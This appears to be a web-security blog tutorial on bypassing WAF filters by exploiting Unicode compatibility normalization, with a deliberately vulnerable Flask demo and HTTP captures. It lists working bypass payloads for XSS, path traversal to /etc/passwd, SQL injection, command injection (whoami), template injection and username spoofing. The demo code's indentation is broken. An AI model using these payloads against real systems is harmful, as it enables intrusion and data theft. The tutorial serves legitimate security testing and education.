WAF Bypassing with Unicode Compatibility


Unicode Compatibility is a form of Unicode Equivalence which ensures that between characters or sequences of characters which may have distinct visual appearances or behaviors, the same abstract character is represented. For example, 𝕃 is normalized to L. This behaviour could open the door to abuse some weak implementations that performs unicode compatibility after the input is sanitized.

Unicode compatibility forms

There are four standard normalization forms:


NFKC and NKFD are the ones that are interesting because they perform compatibility, to check this behaviour, we could use this Python snippet:

import unicodedata
string = "𝕃ⅇ𝙤𝓃ⅈ𝔰𝔥𝙖𝓃"
print ('NFC: ' + unicodedata.normalize('NFC', string))
print ('NFD: ' + unicodedata.normalize('NFD', string))
print ('NFKC: ' + unicodedata.normalize('NFKC', string))
print ('NFKD: ' + unicodedata.normalize('NFKD', string))


NFC: 𝕃ⅇ𝙤𝓃ⅈ𝔰𝔥𝙖𝓃
NFD: 𝕃ⅇ𝙤𝓃ⅈ𝔰𝔥𝙖𝓃
NFKC: Leonishan
NFKD: Leonishan

Proof of concept

To demostrate this behaviour, we have created a simple web application that reflects the name given by a GET parameter if the WAF does not detect some strange character. This is the code:

from flask import Flask, abort, request
import unicodedata
from waf import waf

app = Flask(__name__)

def Welcome_name():
  name = request.args.get('name')

  if waf(name):
    abort(403, description="XSS Detected")
    name = unicodedata.normalize('NFKD', name) #NFC, NFKC, NFD, and NFKD
    return 'Test XSS: ' + name

if __name__ == '__main__':

This application loads the following “WAF” to abort the connection if some uncommon character is detected:

def waf(input):
    blacklist = ["~","!","@","#","$","%","^","&","*","(",")","_","_","+","=","{","}","]","[","|","\",",".","/","?",";",":",""",""","<",">"]
    vuln_detected = False
    if any(string in input for string in blacklist): 
        vuln_detected = True
    return vuln_detected   

Therefore, some request with the following payload (<img src=p onerror='prompt(1)'>) will be aborted:

GET /?name=%3Cimg%20src=p%20onerror=%27prompt(1)%27%3E
Content-Type: text/html
Content-Length: 124
Server: Werkzeug/0.16.0 Python/3.8.1
Date: Wed, 19 Feb 2020 11:11:58 GMT

<title>403 Forbidden</title>
<p>XSS Detected</p>

If we check the following line of the code:

name = unicodedata.normalize('NFKD', name)

We can observe that the server is performing some unicode normalization after the WAF analyzes the input. Therefore, a payload with the same unicode value after the normalization than a common XSS payload will trigger the same results:

<img src⁼p onerror⁼'prompt⁽1⁾'﹥
GET /?name=%EF%BC%9Cimg%20src%E2%81%BCp%20onerror%E2%81%BC%EF%BC%87prompt%E2%81%BD1%E2%81%BE%EF%BC%87%EF%B9%A5
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 41

Test XSS: <img src=p onerror='prompt(1)'>


Perfect, but how this characters can be found? Can this method bypass some restriction with other vulnerabilities?

How to find normalized characters?

In order to find a complete list of characters that have the same meaning after unicode compatibility this amazing resource could be used:

A character can be searched and the same character after compatibility would be found. For example, the character < - https://www.compart.com/en/unicode/U+003C


Shows this three characters: , and . After clicking in each one we can see in the Decomposition section that are normalized in the following way:

In this case the character would not achieve our desired functionallity because it injects the character ◌̸ (U+0338) and will break our payload.

Exploiting other vulnerabilities

Tons of custom payloads could be crafted if normalization is performed, in this case I will give some ideas:

Character Payload After Normalization
‥ (U+2025) ‥/‥/‥/etc/passwd ../../../etc/passwd
︰(U+FE30) ︰/︰/︰/etc/passwd ../../../etc/passwd
Character Payload After Normalization
'(U+FF07) ' or '1'='1 ’ or ‘1’=’1
"(U+FF02) " or "1"="1 ” or “1”=”1
﹣ (U+FE63) admin'﹣﹣ admin’–
Character Payload After Normalization
⓪ (U+24EA) ①②⑦.⓪.⓪.①
Character Payload After Normalization
。(U+3002) jlajara。gitlab。io jlajara.gitlab.io
/(U+FF0F) //jlajara.gitlab.io //jlajara.gitlab.io
Character Payload After Normalization
<(U+FF1C) <script src=a/> <script src=a/>
"(U+FF02) "onclick='prompt(1)' “onclick=’prompt(1)’
Character Payload After Normalization
﹛(U+FE5B) ﹛﹛3+3﹜﹜ {{3+3}}
[ (U+FF3B) [[5+5]] [[5+5]]
Character Payload After Normalization
& (U+FF06) &&whoami &&whoami
| (U+FF5C) || whoami ||whoami
Character Payload After Normalization
p (U+FF50) ʰ (U+02B0) test.pʰp test.php

Register a user with some characters similar to another user. Maybe the registration process will allow the registration because the user in this step is not normalized and allows this character. After that, suppose that the application performs some normalization after retrieving the user data.

Character Payload After Normalization
ª (U+00AA) ªdmin admin


A detection of this behaviour could be performed identifying what parameter reflects it contents. Afther that, a custom payload could be submitted to analyze the behaviour. For example:

Submitting the URL encoded version of the payload 𝕃ⅇ𝙤𝓃ⅈ𝔰𝔥𝙖𝓃 (%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83) gives the following response:

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 19

Test XSS: Leonishan

Therefore, unicode compatibility is performed ✅

If we submit the payload and the response is the following:

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 44

Test XSS: 𝕃ⅇ𝙤𝓃ⅈ𝔰𝔥𝙖𝓃

Unicode compatibility is not performed ❌

Note: If Burp Suite is going to be used to perform this tests, the payload must be URL encoded first. Burp’s editor does not handle multibyte characters properly.